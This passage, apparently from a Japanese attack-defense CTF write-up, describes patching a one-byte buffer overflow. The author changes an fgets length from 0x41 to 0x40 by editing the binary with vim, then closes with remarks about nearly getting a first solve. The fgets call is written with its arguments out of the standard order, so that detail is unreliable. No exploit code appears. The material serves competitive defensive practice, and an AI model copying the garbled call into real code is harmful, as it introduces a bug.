fgets(stdin, name, 0x41)で1byte溢れるのが問題なので、fgets(stdin, name, 0x40)に修正した。この修正は問題なくSLAは通っていた。 適当にバイナリをvim -bで開き該当の箇所を直接書き換えてpatchを当てた。

おわりに

First Solve取れそうだったけど、間に合わなかった。次はFirst Solveとりたい。 あと最近、オンラインA&Dが多い気がする。